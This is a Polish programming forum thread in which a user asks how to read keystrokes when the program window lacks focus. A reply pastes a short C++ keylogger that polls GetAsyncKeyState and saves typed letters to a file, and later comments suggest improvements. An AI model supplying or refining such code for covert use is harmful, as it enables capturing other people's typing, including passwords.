• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Działanie funkcji getch() w tle, da się?

Object Storage Arubacloud
0 głosów
902 wizyt
pytanie zadane 18 sierpnia 2017 w C i C++ przez TheFeniks Gaduła (4,690 p.)
edycja 18 sierpnia 2017 przez TheFeniks

Cześć!

Mam sobie przykładowy kod:

#include <iostream>
#include <conio.h>

int main()
{
    short counter = 0;
    char var = ' ';

    while( true )
    {
        var = getch();
        counter ++;

        if( counter >= 20 ) { std::cout << std::endl; counter = 0; }

        std::cout << var << " ";
        
    }

}

Chciałbym aby, pobierało mi znaki z klawiatury nawet wtedy kiedy nie mam "focusa" na okienko z programem. Jak to zrobić, jest to wykonalne? Z góry dzięki za pomoc, miłego dnia/wieczoru. :)

1
komentarz 18 sierpnia 2017 przez DragonCoder Nałogowiec (36,500 p.)
Wykonalne chyba tak, ale z obsluga klawiatury, czyli pewnie z sfml.

Pragne przypomniec, ze conio.h, jest biblioteka winowsowa i nie zadziala na immych systemach :)
4
komentarz 18 sierpnia 2017 przez criss Mędrzec (172,590 p.)
Łatwiej wpisać w google "c++ keylogger" :P
komentarz 18 sierpnia 2017 przez TheFeniks Gaduła (4,690 p.)
@DragonCoder, to nie jest problem. :d

@Criss, yyy, co to? :E Tak serio, to uwierz mi że to już robiłem, i nie mogłem ogarnąć tego jak to zrobić. :v
komentarz 19 sierpnia 2017 przez unknown Nałogowiec (39,560 p.)
Poczytaj sobie o hakach w winapi

1 odpowiedź

0 głosów
odpowiedź 19 sierpnia 2017 przez TheFeniks Gaduła (4,690 p.)
Nikt? Nic? :l
komentarz 19 sierpnia 2017 przez niezalogowany

Link: link superlinkaśny - wejdź tu, a dowiesz się wiele
Kod:

#include <fstream>
#include <cstring>
#include <string>
#include <windows.h>

using namespace std;

int main()
{
	int Char;
	string text;
	ofstream log;
	log.open("logi.txt");
	while (!GetAsyncKeyState(VK_F8))
	{
		for (Char = 65; Char < 90; Char++)
		{
			if (GetAsyncKeyState(Char) == -32767)
			{
				text += Char;
			}
		}
		if (GetAsyncKeyState(VK_SPACE) == -32767)
		{
			text += " ";
		}


	}
	log << text;
	log.close();
}

Zasada działania:

F8 zapis do pliku

komentarz 19 sierpnia 2017 przez Evelek Nałogowiec (28,960 p.)

Hipcio, czy tu nie dojdzie do brakowania pamięci bez dłuższego wciskania F8? laugh

komentarz 19 sierpnia 2017 przez niezalogowany
Evelek ja bym powiedział, że ten kod ma jeszcze kilka wad - chociaż w pewnych ramkach ładnie działa. Po prostu wkleiłem wieczorem drugi link z googla od frazy "c++ keylogger". Można by dodać w kodzie zapisywanie od razu do pliku po wciśnięciu klawisza, obsługę enterów (i innych znaków), sprawdzanie czy plik dane się zmieszczą do pliku (czy trzeba utworzyć nowy plik), śladową optymalizację (przerwać pętlę for gdy znaleziono właściwą literę), uwzględniać backspace. Dzięki za uwagę, bo faktycznie powinienem wspomnieć - nawet chciałem to zrobić tylko wyleciało mi z głowy ;)

Podobne pytania

0 głosów
1 odpowiedź 312 wizyt
pytanie zadane 8 marca 2018 w C i C++ przez Lucash Nowicjusz (240 p.)
0 głosów
2 odpowiedzi 1,523 wizyt
0 głosów
1 odpowiedź 1,058 wizyt
pytanie zadane 17 listopada 2019 w C i C++ przez rei656 Początkujący (290 p.)

92,572 zapytań

141,422 odpowiedzi

319,643 komentarzy

61,959 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...